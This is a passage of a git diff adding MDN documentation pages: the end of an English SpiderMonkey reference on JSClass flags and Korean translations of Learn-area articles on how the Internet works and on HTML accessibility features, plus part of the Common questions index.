+<p>The <strong>{{jsapixref("JSClass", "JSClass.flags")}}</strong> field allows an application to enable optional <code>JSClass</code> features on a per-class basis.</p>
+</div>
+
+<p>The <code>flags</code> field is of type <code>uint32_t</code>. Its value is the logical OR of zero or more of the following constants:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Flag</th>
+   <th>Meaning</th>
+  </tr>
+  <tr>
+   <td>
+    <p><code>JSCLASS_HAS_PRIVATE</code></p>
+   </td>
+   <td>
+    <p>This class uses private data. If this flag is set, each instance of the class has a field for private data. The field can be accessed using {{jsapixref("JS_GetPrivate")}} and {{jsapixref("JS_SetPrivate")}}.</p>
+
+    <p>{{ LXRSearch("ident", "i", "JSCLASS_HAS_PRIVATE") }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>JSCLASS_PRIVATE_IS_NSISUPPORTS</code></p>
+   </td>
+   <td>
+    <p>Mozilla extension. The private field of each object of this class points to an <a href="/en/XPCOM" title="XPCOM">XPCOM</a> object (see <code><a href="/en/XPCOM_Interface_Reference/nsISupports" title="nsISupports">nsISupports</a></code>). This is only meaningful if SpiderMonkey is built with <a href="/en/XPConnect" title="XPConnect">XPConnect</a> and the <code>JSCLASS_HAS_PRIVATE</code> flag is also set.</p>
+
+    <p>{{ LXRSearch("ident", "i", "JSCLASS_PRIVATE_IS_NSISUPPORTS") }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>JSCLASS_IS_DOMJSCLASS</code></p>
+   </td>
+   <td>
+    <p>{{ Jsapi_minversion_inline("17") }} Objects are DOM.</p>
+
+    <p>{{ LXRSearch("ident", "i", "JSCLASS_IS_DOMJSCLASS") }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>JSCLASS_EMULATES_UNDEFINED</code></td>
+   <td>
+    <p>{{ Jsapi_minversion_inline("24") }} Causes objects which have this class to <dfn>emulate <code>undefined</code></dfn> in certain circumstances.  An object <code>obj</code> that emulates <code>undefined</code> behaves like any other object, except in the following ways:</p>
+
+    <ul>
+     <li><code>typeof obj === "undefined"</code></li>
+     <li><code>obj</code> converts to <code>false</code> when <code>obj</code> is converted to a boolean when used in boolean contexts (<code>if</code> conditions, loop continuation/termination conditions [<code>for</code>/<code>while</code>/<code>do { } while</code>], the condition in a ternary <code>?:</code> expression, and so on)</li>
+     <li><code>(obj == undefined)</code> is true, and <code>(obj != undefined)</code> is <code>false</code></li>
+     <li><code>(obj == null)</code> is true, and <code>(obj != null)</code> is <code>false</code></li>
+    </ul>
+
+    <p><code>==</code> and <code>!=</code> comparisons to values other than <code>null</code> or <code>undefined</code> (including to an object that emulates <code>undefined</code>) are unaffected by this flag.  Strict equality (<code>===</code> and <code>!==</code>) comparisons are also unaffected by this flag.</p>
+
+    <p>{{ LXRSearch("ident", "i", "JSCLASS_EMULATES_UNDEFINED") }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>JSCLASS_HAS_RESERVED_SLOTS(n)</code></p>
+   </td>
+   <td>
+    <p>Indicates that instances of this class have <code>n</code> <em>reserved slots</em>. <code>n</code> is an integer in the range <code>{{ mediawiki.external('0..255') }}</code>. The slots initially contain unspecified valid <code>jsval</code> values. They can be accessed using {{jsapixref("JS_GetReservedSlot")}} and {{jsapixref("JS_GetReservedSlot", "JS_SetReservedSlot")}}.</p>
+
+    <p>(The {{jsapixref("JSClass.reserveSlots")}} hook also allocates reserved slots to objects.)</p>
+
+    <p>{{ LXRSearch("ident", "i", "JSCLASS_HAS_RESERVED_SLOTS") }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>JSCLASS_GLOBAL_FLAGS</code></p>
+   </td>
+   <td>
+    <p>This flag is only relevant for the class of an object that is used as a global object. (ECMAScript specifies a single global object, but in SpiderMonkey the global object is the last object in the {{jsapixref("JS_GetScopeChain", "scope chain", "", 1)}}, which can be different objects at different times. This is actually quite subtle. {{jsapixref("JS_ExecuteScript")}} and similar APIs set the global object for the code they execute. {{jsapixref("JS_SetGlobalObject")}} sets an object which is sometimes used as the global object, as a last resort.)</p>
+
+    <p>Enable standard ECMAScript behavior for setting the prototype of certain objects, such as <code>Function</code> objects. If the global object does not have this flag, then scripts may cause nonstandard behavior by replacing standard constructors or prototypes (such as <code>Function.prototype</code>.)</p>
+
+    <p>Objects that can end up with the wrong prototype object, if this flag is not present, include: <code>arguments</code> objects (<span class="pl-s1"><span class="pl-s">ECMA 262-3 §</span></span>10.1.8 specifies "the original <code>Object</code> prototype"), <code>Function</code> objects (<span class="pl-s1"><span class="pl-s">ECMA 262-3 </span></span>§13.2 specifies "the original <code>Function</code> prototype"), and objects created by many standard constructors (<span class="pl-s1"><span class="pl-s">ECMA 262-3 §</span></span>15.4.2.1 and others).</p>
+
+    <p>{{ LXRSearch("ident", "i", "JSCLASS_GLOBAL_FLAGS") }}</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>JSCLASS_FOREGROUND_FINALIZE</code></td>
+   <td>
+    <p>Objects of this class must be finalized on the main thread. </p>
+
+    <p>If this class has a finalizer that makes use of state shared with the main thread then this option must be specified.  It is always safe to specify this option.</p>
+
+    <p>One of <code>JSCLASS_FOREGROUND_FINALIZE</code> and <code>JSCLASS_BACKGROUND_FINALIZE</code> must be specified.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>JSCLASS_BACKGROUND_FINALIZE</code></td>
+   <td>
+    <p>It is safe to finalize objects of this class on a background thread.</p>
+
+    <p>If this class has a finalizer that can be safely run concurrently with the main thread then this option can be specified.  It results in finalization work being offloaded to another thread which improves performance.</p>
+
+    <p>One of <code>JSCLASS_FOREGROUND_FINALIZE</code> and <code>JSCLASS_BACKGROUND_FINALIZE</code> must be specified.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>JSCLASS_IMPLEMENTS_BARRIERS</code></td>
+   <td>{{ obsolete_inline("jsapi43") }} Correctly implements GC read and write barriers.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>JSCLASS_NEW_ENUMERATE</code></p>
+   </td>
+   <td>{{ obsolete_inline("jsapi37") }} This class's <code>enumerate</code> hook is actually a {{jsapixref("JSClass.enumerate", "JSNewEnumerateOp")}}, not a {{jsapixref("JSEnumerateOp")}}.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>JSCLASS_NEW_RESOLVE</code></p>
+   </td>
+   <td>{{ obsolete_inline("jsapi36") }} This class's <code>resolve</code> hook is actually a {{jsapixref("JSNewResolveOp")}}, not a {{jsapixref("JSClass.resolve", "JSResolveOp")}}.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>JSCLASS_SHARE_ALL_PROPERTIES</code></p>
+   </td>
+   <td>{{ obsolete_inline("js1.8.5") }} Instructs SpiderMonkey to automatically give all properties of objects of this class the {{jsapixref("JS_GetPropertyAttributes", "JSPROP_SHARED")}} attribute.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>JSCLASS_NEW_RESOLVE_GETS_START</code></p>
+   </td>
+   <td>{{ obsolete_inline("jsapi16") }} The <code>resolve</code> hook expects to receive the starting object in the prototype chain passed in via the <code>*objp</code> in/out parameter. (This is meaningful only if the <code>JSCLASS_NEW_RESOLVE</code> flag is also set.)</td>
+  </tr>
+  <tr>
+   <td id="JSCLASS_CONSTRUCT_PROTOTYPE">
+    <p><code>JSCLASS_CONSTRUCT_PROTOTYPE</code></p>
+   </td>
+   <td>{{ obsolete_inline("jsapi11") }} Instructs {{jsapixref("JS_InitClass")}} to invoke the constructor when creating the class prototype.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>JSCLASS_IS_EXTENDED</code></p>
+   </td>
+   <td>{{ obsolete_inline("jsapi17") }}Indicates that this <code>JSClass</code> is really a {{jsapixref("JSExtendedClass")}}.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>JSCLASS_MARK_IS_TRACE</code></p>
+   </td>
+   <td>{{ obsolete_inline("jsapi5") }} Indicates that the {{jsapixref("JSClass.mark", "mark")}} hook implements the new {{jsapixref("JSTraceOp")}} signature instead of the old {{jsapixref("JSClass.mark", "JSMarkOp")}} signature. This is recommended for all new code that needs custom marking.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>SpiderMonkey reserves a few other flags for its internal use. They are <code>JSCLASS_IS_ANONYMOUS</code>, <code>JSCLASS_IS_GLOBAL</code>, <code>JSCLASS_IS_PROXY</code>, and <code>JSCLASS_HAS_CACHED_PROTO</code>. JSAPI applications should not use these flags.</p>
+
+<h2 id="See_Also" name="See_Also">See Also</h2>
+
+<ul>
+ <li>{{bug(527805)}} - removed <code>JSCLASS_SHARE_ALL_PROPERTIES</code></li>
+ <li>{{bug(571789)}} - removed <code>JSCLASS_IS_EXTENDED</code></li>
+ <li>{{bug(638291)}} - removed <code>JSCLASS_MARK_IS_TRACE</code></li>
+ <li>{{bug(641025)}} - added <code>JSCLASS_IMPLEMENTS_BARRIERS</code></li>
+ <li>{{bug(702507)}} - removed <code>JSCLASS_CONSTRUCT_PROTOTYPE</code></li>
+ <li>{{bug(758913)}} - removed <code>JSCLASS_NEW_RESOLVE_GETS_START</code></li>
+ <li>{{bug(766447)}} - added <code>JSCLASS_IS_DOMJSCLASS</code></li>
+ <li>{{bug(792108)}} - added <code>JSCLASS_EMULATES_UNDEFINED</code></li>
+ <li>{{bug(993026)}} - removed <code>JSCLASS_NEW_RESOLVE</code></li>
+ <li>{{bug(1097267)}} - removed <code>JSCLASS_NEW_ENUMERATE</code></li>
+</ul>
diff --git a/files/ko/learn/common_questions/how_does_the_internet_work/index.html b/files/ko/learn/common_questions/how_does_the_internet_work/index.html
new file mode 100644
index 0000000000..f75add9c5a
--- /dev/null
+++ b/files/ko/learn/common_questions/how_does_the_internet_work/index.html
@@ -0,0 +1,93 @@
+---
+title: 인터넷은 어떻게 동작하는가?
+slug: Learn/Common_questions/How_does_the_Internet_work
+translation_of: Learn/Common_questions/How_does_the_Internet_work
+---
+<div class="summary">
+<p>이 글에서는 인터넷의 개념과 작동 원리에 대해 설명합니다.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선행지식:</th>
+   <td>선행지식은 필요없습니다. 하지만 '프로젝트의 목표 설정에 대한 글(<a href="/en-US/docs/Learn/Thinking_before_coding">Article on setting project goals</a>)에 대한 글을 먼저 읽어보세요.</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td><span id="result_box" lang="ko"><span>웹 기술 인프라의 기초와 인터넷과 웹의 차이점을 배우게 됩니다.</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="요약">요약</h2>
+
+<p><strong>인터넷</strong>은 웹의 핵심적인 기술입니다. 인터넷의 가장 기본적인 것은, 컴퓨터들이 서로 통신 가능한 거대한 네트워크라는 것입니다.</p>
+
+<p><a href="http://en.wikipedia.org/wiki/Internet#History" rel="external">인터넷의 역사는 잘 알려지지 않았습니다</a>. 인터넷은 1960년 대 미육군에서 기금한 연구 프로젝트에서 시작되었습니다. 그리고 1980년 대에 많은 국립 대학과 비공개 기업의 지원으로 공공의 기반으로 변화되었습니다. <span id="result_box" lang="ko"><span>인터넷을 지원하는 다양한 기술은 시간이 지남에 따라 진화 해 왔지만 작동 방식은 그다지 변하지 않았습니다. 인터넷은 모든 컴퓨터를 연결하고 어떤 일이 있어도 연결 상태를 유지할 수있는 방법을 찾는 방법입니다.</span></span></p>
+
+<h2 id="활동적으로_배우기">활동적으로 배우기</h2>
+
+<ul>
+ <li><a href="https://www.youtube.com/watch?v=7_LPdttKXPc" rel="external">How the internet Works in 5 minutes</a>: Aaron Titus의 인터넷에 대한 기초를 이해하기 위한 5분짜리 동영상</li>
+</ul>
+
+<h2 id="깊게_들어가기">깊게 들어가기</h2>
+
+<h3 id="단순한_네트워크">단순한 네트워크</h3>
+
+<p>두 개의 컴퓨터가 통신이 필요할 때, 우리는 다른 컴퓨터와 물리적으로 (보통 <a href="http://en.wikipedia.org/wiki/Ethernet_crossover_cable" rel="external">이더넷 케이블</a>) 또는 무선으로 (예를 들어, <a href="http://en.wikipedia.org/wiki/WiFi" rel="external">WiFi</a> 나 <a href="http://en.wikipedia.org/wiki/Bluetooth" rel="external">Bluetooth</a> 시스템) 연결되어야 합니다. 모든 현대 컴퓨터들은 이러한 연결 중 하나를 이용하여 연결을 지속할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 글의 나머지 부분에서는 유선 케이블에 대해서만 이야기 하지만 무선 네트워크도 동일한 방식입니다.</p>
+</div>
+
+<p><img alt="Two computers linked together" src="https://mdn.mozillademos.org/files/8441/internet-schema-1.png" style="height: 152px; width: 600px;"></p>
+
+<p>이러한 네트워크는 두 대의 컴퓨터로 제한되지 않습니다. 원하는 만큼의 컴퓨터를 연결할 수 있습니다. 그러나 이렇게 연결할 수록 매우 복잡해집니다. 예를 들어 10대의 컴퓨터를 연결하려는 경우 컴퓨터 당 9개의 플러그가 달린 45개의 케이블이 필요합니다!</p>
+
+<p><img alt="Ten computers all together" src="https://mdn.mozillademos.org/files/8443/internet-schema-2.png" style="height: 576px; width: 600px;"></p>
+
+<p><span id="result_box" lang="ko"><span>이 문제를 해결하기 위해 네트워크의 각 컴퓨터는 라우터라고하는 특수한 소형 컴퓨터에 연결됩니다.</span> <span>이 라우터에는 단 하나의 작업만 있습니다. 철도역의 신호원처럼 주어진 컴퓨터에서 보낸 메시지가 올바른 대상 컴퓨터에 도착하는지 확인합니다.</span> <span>컴퓨터 B에게 메시지를 보내려면 컴퓨터 A가 메시지를 라우터로 보내야하며, 라우터는 메시지를 컴퓨터 B로 전달하고 메시지가 컴퓨터 C로 배달되지 않도록해야합니다.</span></span></p>
+
+<p><span id="result_box" lang="ko"><span>이 라우터를 시스템에 추가하면 10대의 컴퓨터 네트워크에는 10개의 케이블만 필요합니다. 각 컴퓨터마다 단일 플러그와 10개의 플러그가 있는 하나의 라우터가 필요합니다.</span></span></p>
+
+<p><img alt="Ten computers with a router" src="https://mdn.mozillademos.org/files/8445/internet-schema-3.png" style="height: 576px; width: 600px;"></p>
+
+<h3 id="네트워크_속의_네트워크">네트워크 속의 네트워크</h3>
+
+<p>지금까지는 <span id="result_box" lang="ko"><span>그런대로 잘되었습니다.</span> <span>수백, 수천, 수십억 대의 컴퓨터를 연결하는 것은 어떨까요?</span> <span>물론 단일 라우터는 그 정도까지 확장 할 수는 없지만 신중하게 읽으면 라우터는 다른 컴퓨터와 마찬가지로 컴퓨터라고 말했습니다. 그럼, 두 대의 라우터를 연결하지 못하게 하는 것이 있을까요? 없죠!</span></span></p>
+
+<p><img alt="Two routers linked together" src="https://mdn.mozillademos.org/files/8447/internet-schema-4.png"></p>
+
+<p>컴퓨터를 라우터에 연결하고, 라우터에서 라우터로, 우리는 무한히 확장할 수 있습니다.</p>
+
+<p><img alt="Routers linked to routers" src="https://mdn.mozillademos.org/files/8449/internet-schema-5.png" style="height: 563px; width: 600px;"></p>
+
+<p><span id="result_box" lang="ko"><span>이러한 네트워크는 우리가 인터넷이라고 부르는 것에 매우 가깝지만, 우리는 뭔가를 놓치고 있습니다.</span> <span>우리는 우리의 목적을 가지고 네트워크를 구축했습니다. 하지만 그밖에 </span><span>다른 네트워크들 : 친구, 이웃, 누구든지 컴퓨터로 이루어진 그들만의 네트워크를 가질 수 있습니다.</span> <span>하지만 집과 다른 지역 사이에, 아주 먼 곳에 케이블을 연결할 수는 없습니다. 이 문제를 어떻게 처리 할 수 있을까요?</span> <span>예를 들어 전력 및 전화와 같이 이미 집에 연결된 케이블이 있습니다.</span> <span>전화기 기반의 시설은 이미 세계 어느 곳과도 연결되어 있으므로 우리가 필요로 하는 완벽한 배선이라고 할 수 있습니다.</span> 따라서 <span>우리의 네트워크를 전화 시설과 연결하기 위해선, 모뎀이라는 특수 장비가 필요합니다.</span> <span>이 모뎀은 우리 네트워크의 정보를 전화 시설에서 처리 할 수있는 정보로 바꾸며, 그 반대의 경우도 마찬가지입니다.</span></span></p>
+
+<p><img alt="A router linked to a modem" src="https://mdn.mozillademos.org/files/8451/internet-schema-6.png" style="height: 340px; width: 600px;"></p>
+
+<p><span id="result_box" lang="ko"><span>그래서 우리의 네트워크는 전화 시설에 연결됩니다.</span> <span>다음 단계는 우리의 네트워크에서 도달하려는 네트워크로 메시지를 보내는 것입니다.</span> <span>그렇게하기 위해 네트워크를 인터넷 서비스 제공 업체 (</span></span>Internet Service Provider, <span lang="ko"><span>ISP)에 연결합니다.</span> <span>ISP는 모두 함께 연결되는 몇몇 특수한 라우터를 관리하고 다른 ISP의 라우터에도 액세스 할 수 있는 회사입니다.</span> <span>따라서 우리 네트워크의 메시지는 ISP 네트워크의 네트워크를 통해 대상 네트워크로 전달됩니다.</span> <span>인터넷은 이러한 전체 네트워크 인프라로 구성됩니다.</span></span></p>
+
+<p><img alt="Full Internet stack" src="https://mdn.mozillademos.org/files/8453/internet-schema-7.png" style="height: 1293px; width: 340px;"></p>
+
+<h3 id="컴퓨터_찾기">컴퓨터 찾기</h3>
+
+<p><span id="result_box" lang="ko"><span>컴퓨터에 메시지를 보내려면 메시지를 받을 특정 컴퓨터를 지정해야합니다.</span> <span>따라서 네트워크에 연결된 모든 컴퓨터에는 IP 주소 (IP는 인터넷 프로토콜을 나타냄)라는 고유한 주소가 있습니다.</span> <span>주소는 점으로 구분 된 네 개의 숫자로 구성된 주소입니다 </span></span> . 예: <code>192.168.2.10</code>.</p>
+
+<p><span id="result_box" lang="ko"><span>컴퓨터는 이러한 주소로 다른 컴퓨터를 찾아가는데 문제가 없습니다. 그러나 우리들은 IP주소를 기억하기 어렵죠.</span> <span>그래서 우리는 '도메인 이름' 이라고하는 사람이 읽을 수 있는 IP 주소의 이름을 지정할 수 있습니다.</span> <span>예를 들어 </span></span><code>'google.com'</code><span lang="ko"><span>은 IP 주소로  </span></span><code>'173.194.121.32'</code><span id="result_box" lang="ko"><span> 입니다. </span><span>따라서 '도메인 이름'은 'IP주소'보다 인터넷을 사용하기에 쉽습니다.</span></span></p>
+
+<p><img alt="Show how a domain name can alias an IP address" src="https://mdn.mozillademos.org/files/8405/dns-ip.png" style="height: 160px; width: 330px;"></p>
+
+<h3 id="인터넷과_웹">인터넷과 웹</h3>
+
+<p><span id="result_box" lang="ko"><span>웹 브라우저를 사용하여 웹을 탐색 할 때 일반적으로 도메인 이름을 사용하여 웹 사이트에 접속합니다.</span> <span>그것은 인터넷과 웹이 같은 것을 의미할까요?</span> <span>그렇게 간단하지 않습니다.</span> <span>앞에서 보았 듯이 인터넷은 수십억 대의 컴퓨터를 모두 연결하는 기술 인프라입니다.</span> 이러한 컴퓨터들 중에 일부는 '웹 서버'로서 <span>웹 브라우저가 이해할 수 있는 서비스를 제공합니다.</span> <span>인터넷은 인프라이며, 웹은 그 인프라 기반 위에 구축된 서비스입니다.</span> 웹 뿐만 아니라 인터넷 위에 구축된 다른 서비스들(이메일, </span>{{Glossary("IRC")}} 등)도 있음을 알아야합니다.</p>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/Getting_started_with_the_web/%EC%9B%B9%EC%9D%98_%EB%8F%99%EC%9E%91_%EB%B0%A9%EC%8B%9D">How the Web works(웹이 작동하는 방법)</a></li>
+ <li><a href="/en-US/docs/Learn/page_vs_site_vs_server_vs_search_engine">Understanding the difference between a web page, a web site, a web server and a search engine(웹 페이지, 웹 사이트, 웹 서버, 검색 엔진의 차이점 이해하기)</a></li>
+ <li><a href="/en-US/docs/Learn/Understanding_domain_names">Understanding domain names(도메인 이름 이해하기)</a></li>
+</ul>
diff --git a/files/ko/learn/common_questions/html_features_for_accessibility/index.html b/files/ko/learn/common_questions/html_features_for_accessibility/index.html
new file mode 100644
index 0000000000..fd22e4d8cc
--- /dev/null
+++ b/files/ko/learn/common_questions/html_features_for_accessibility/index.html
@@ -0,0 +1,49 @@
+---
+title: 어떤 HTML 기능이 접근성을 촉진할까?
+slug: Learn/Common_questions/HTML_features_for_accessibility
+translation_of: Learn/Common_questions/HTML_features_for_accessibility
+---
+<p>{{draft}}</p>
+
+<p class="summary">이번 내용은 웹 페이지를 좀 더 서로 다른 장애를 가진 사람들에게 좀 더 접근하기 쉽게 만들 수 있는 HTML의 특정한 기능을 서술합니다. </p>
+
+<h2 id="탭(Tabbing)">탭(Tabbing)</h2>
+
+<p>pointing devices를 사용 하지 않거나 사용 할 수 없는 유저들은  <kbd>Tab</kbd> 을 links를 통해 할 수 있습니다.(links는 논리적 순서로 이루어져 있어야 합니다.) tabindex 속성은 당신이 이러한 순서를 정의 할 수 있도록 허락합니다. 만약 HTML이 선형이라면, 논리적 탭 순서는 자동적으로 맞춰집니다. </p>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;a href="here.html" tabindex="1"&gt;Here&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="there.html" tabindex="3"&gt;There&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="anywhere.html" tabindex="2"&gt;Anywhere&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>이번 예시는(순수히 데모를 위해 사용되었으니 따라하지 마세요), 탭이 여기서부터 여기저기를 점프합니다. </p>
+
+<h2 id="링크_제목(Link_Titles)">링크 제목(Link Titles)</h2>
+
+<p>만약 당신이 자신을 설명하지 않는 링크를 가지고 있거나, 링크 목적지가 더 자세하게 설명되지 않으면, 그 링크에 제목 속성을 추가 할 수 있습니다. </p>
+
+<pre class="brush: html">&lt;p&gt;I'm really bad at writing link text. &lt;a href="inept.html" title="Why I'm rubbish at writing link text: An explanation and an apology."&gt;Click here&lt;/a&gt; to find out more.&lt;/p&gt;</pre>
+
+<h2 id="접근_키(Access_Keys)">접근 키(Access Keys)</h2>
+
+<p><em>접근 키는  </em>링크에 사용자가 <kbd>Alt</kbd> or <kbd>Ctrl</kbd> + 접근 키를 입력하여 얻을 수 있는 키보드 단축키를 할당하여 쉬운 네비게이션을 제공합니다. 정확한 키 조합은 플래폼에 따라 다릅니다.</p>
+
+<pre class="brush: html">&lt;a href="somepage.html" accesskey="s"&gt;Some page&lt;/a&gt;</pre>
+
+<h2 id="링크_넘어가기(Skip_Links)">링크 넘어가기(Skip Links)</h2>
+
+<p>탭을 지원하기 위하여, 당신은 유저가 당신의 웹 페이지 모음으로 넘어갈 수 있는 링크를 제공할 수 있습니다. 당신은 아마도 다른 사람이 네비게이션 링크를 따라 점프하기를 원할 것입니다. 그렇게 함으로써, 페이지의 메인 내용을 읽을 수 있습니다. </p>
+
+<pre class="brush: html">&lt;header&gt;
+  &lt;h1&gt;The Heading&lt;/h1&gt;
+  &lt;a href="#content"&gt;Skip to content&lt;/a&gt;
+&lt;/header&gt;
+
+&lt;nav&gt;
+  &lt;!-- navigation stuff --&gt;
+&lt;/nav&gt;
+
+&lt;section id="content"&gt;
+  &lt;!--your content --&gt;
+&lt;/section&gt;</pre>
diff --git a/files/ko/learn/common_questions/index.html b/files/ko/learn/common_questions/index.html
new file mode 100644
index 0000000000..d3d5fe0261
--- /dev/null
+++ b/files/ko/learn/common_questions/index.html
@@ -0,0 +1,127 @@
+---
+title: Common questions
+slug: Learn/Common_questions
+tags:
+  - CodingScripting
+  - Infrastructure
+  - Learn
+  - NeedsTranslation
+  - TopicStub
+  - Web
+  - WebMechanics
+  - 웹
+  - 인프라
+translation_of: Learn/Common_questions
+---
+<p class="summary">This section of the Learning Area is designed to provide answers to common questions that may come up, which are not necessarily part of the structured core learning pathways (e.g. the <a href="/en-US/docs/Learn/HTML">HTML</a> or <a href="/en-US/docs/Learn/CSS">CSS</a> learning articles.) These articles are designed to work on their own.</p>
+
+<div>
+<h2 id="HTML_and_CSS_questions">HTML and CSS questions</h2>
+
+<p>Try our <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto">Use HTML to solve common problems</a> and <a href="/en-US/docs/Learn/CSS/Howto">Use CSS to solve common problems</a> pages for common solutions to HTML/CSS problems.</p>
+</div>
+
+<h2 id="웹의_동작_방식">웹의 동작 방식</h2>
+
+<p>이 섹션에서는 웹의 원리 - 웹의 생태계와 작동 방식에 대한 일반적인 지식과 관련된 질문들을 다룬다.</p>
+
+<dl>
+ <dt>
+ <h3 id="인터넷은_어떻게_동작하는가"><a href="/en-US/docs/Learn/Common_questions/How_does_the_Internet_work">인터넷은 어떻게 동작하는가?</a></h3>
+ </dt>
+ <dd><strong>인터넷</strong>은 웹을 가능하게 하는 기술적 기반 구조의 중추이다. 기본적으로, 인터넷은 서로 통신하는 컴퓨터들의 큰 네트워크이다. 이 article은 기초적인 수준에서 인터넷이 어떻게 동작하는지 설명한다.</dd>
+ <dt>
+ <h3 id="What_is_the_difference_between_webpage_website_web_server_and_search_engine"><a href="/en-US/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">What is the difference between webpage, website, web server, and search engine?</a></h3>
+ </dt>
+ <dd>In this article we describe various web-related concepts: webpages, websites, web servers, and search engines. These terms are often confused by newcomers to the Web, or are incorrectly used. Let's learn what they each mean!</dd>
+ <dt>
+ <h3 id="URL이란"><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">URL이란?</a></h3>
+ </dt>
+ <dd>With {{Glossary("Hypertext")}} and {{Glossary("HTTP")}}, URL is one of the key concepts of the Web. It is the mechanism used by {{Glossary("Browser","browsers")}} to retrieve any published resource on the web.</dd>
+ <dt>
+ <h3 id="도메인_네임이란"><a href="/en-US/docs/Learn/Common_questions/What_is_a_domain_name">도메인 네임이란?</a></h3>
+ </dt>
+ <dd>Domain names are a key part of the Internet infrastructure. They provide a human-readable address for any web server available on the Internet.</dd>
+ <dt>
+ <h3 id="웹서버란"><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">웹서버란?</a></h3>
+ </dt>
+ <dd>The term "Web server" can refer to the hardware or software that serves web sites to clients across the Web — or both of them working together. In this article we go over how web servers work, and why they're important.</dd>
+ <dt>
+ <h3 id="하이퍼링크란"><a href="/en-US/docs/Learn/Common_questions/What_are_hyperlinks">하이퍼링크란?</a></h3>
+ </dt>
+ <dd>In this article, we'll go over what hyperlinks are and why they matter.</dd>
+</dl>
+
+<h2 id="Tools_and_setup">Tools and setup</h2>
+
+<p>Questions related to the tools/software you can use to build websites.</p>
+
+<dl>
+ <dt>
+ <h3 id="How_much_does_it_cost_to_do_something_on_the_Web"><a href="/en-US/docs/Learn/Common_questions/How_much_does_it_cost">How much does it cost to do something on the Web?</a></h3>
+ </dt>
+ <dd>When you're launching a website, you may spend nothing or your costs may go through the roof. In this article we discuss how much everything costs and what you get for what you pay (or don't pay).</dd>
+ <dt>
+ <h3 id="What_software_do_I_need_to_build_a_website"><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">What software do I need to build a website?</a></h3>
+ </dt>
+ <dd>In this article we explain which software components you need when you're editing, uploading, or viewing a website.</dd>
+ <dt>
+ <h3 id="What_text_editors_are_available"><a href="/en-US/docs/Learn/Common_questions/Available_text_editors">What text editors are available?</a></h3>
+ </dt>
+ <dd>In this article we highlight some things to think about when choosing and installing a text editor for web development.</dd>
+ <dt>
+ <h3 id="How_do_I_set_up_a_basic_working_environment"><a href="/en-US/docs/Learn/Common_questions/Set_up_a_basic_working_environment">How do I set up a basic working environment?</a></h3>
+ </dt>
+ <dd>When working on a web project, you'll want to test it locally before you show it to the world. Some types of code require a server to test, and in this article we'll show you how to set one up. We'll also cover how to put a scalable structure in place so that your files stay organized even when your project gets big.</dd>
+ <dt>
+ <h3 id="What_are_browser_developer_tools"><a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools?</a></h3>
+ </dt>
+ <dd>Every browser features a set of devtools for debugging HTML, CSS, and other web code. This article explains how to use the basic functions of your browser's devtools.</dd>
+ <dt>
+ <h3 id="How_do_you_make_sure_your_website_works_properly"><a href="/en-US/docs/Learn/Common_questions/Checking_that_your_web_site_is_working_properly">How do you make sure your website works properly?</a></h3>
+ </dt>
+ <dd>So you've published your website online — very good! But are you sure it works properly? This article provides some basic troubleshooting steps.</dd>
+ <dt>
+ <h3 id="How_do_you_upload_files_to_a_web_server"><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">How do you upload files to a web server?</a></h3>
+ </dt>
+ <dd>This article shows how to publish your site online with <a class="glossaryLink" href="https://developer.mozilla.org/en-US/docs/Glossary/FTP" title="FTP: FTP (File Transfer Protocol) is the standard network protocol for transferring files from one host to another over the Internet through TCP.">FTP</a> tools — one fo the most common ways to get a website online so others can access it from their computers.</dd>
+ <dt>
+ <h3 id="How_do_I_use_GitHub_Pages"><a href="/en-US/docs/Learn/Common_questions/Using_GitHub_Pages">How do I use GitHub Pages?</a></h3>
+ </dt>
+ <dd>This article provides a basic guide to publishing content using GitHub's gh-pages feature.</dd>
+ <dt>
+ <h3 id="How_do_you_host_your_website_on_Google_App_Engine"><a href="/en-US/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">How do you host your website on Google App Engine?</a></h3>
+ </dt>
+ <dd>Looking for a place to host your website? Here's a step-by-step guide to hosting your website on Google App Engine.</dd>
+ <dt>
+ <h3 id="What_tools_are_available_to_debug_and_improve_website_performance"><a href="/en-US/docs/Tools/Performance">What tools are available to debug and improve website performance?</a></h3>
+ </dt>
+ <dd>This set of articles shows you how to use the Developer Tools in Firefox to debug and improve performance of your website, using the tools to check the memory usage, the JavaScript call tree, the amount of DOM nodes being rendered, and more.</dd>
+</dl>
+
+<h2 id="Design_and_accessibility">Design and accessibility</h2>
+
+<p>This section lists questions related to aesthetics, page structure, accessibility techniques, etc.</p>
+
+<dl>
+ <dt>
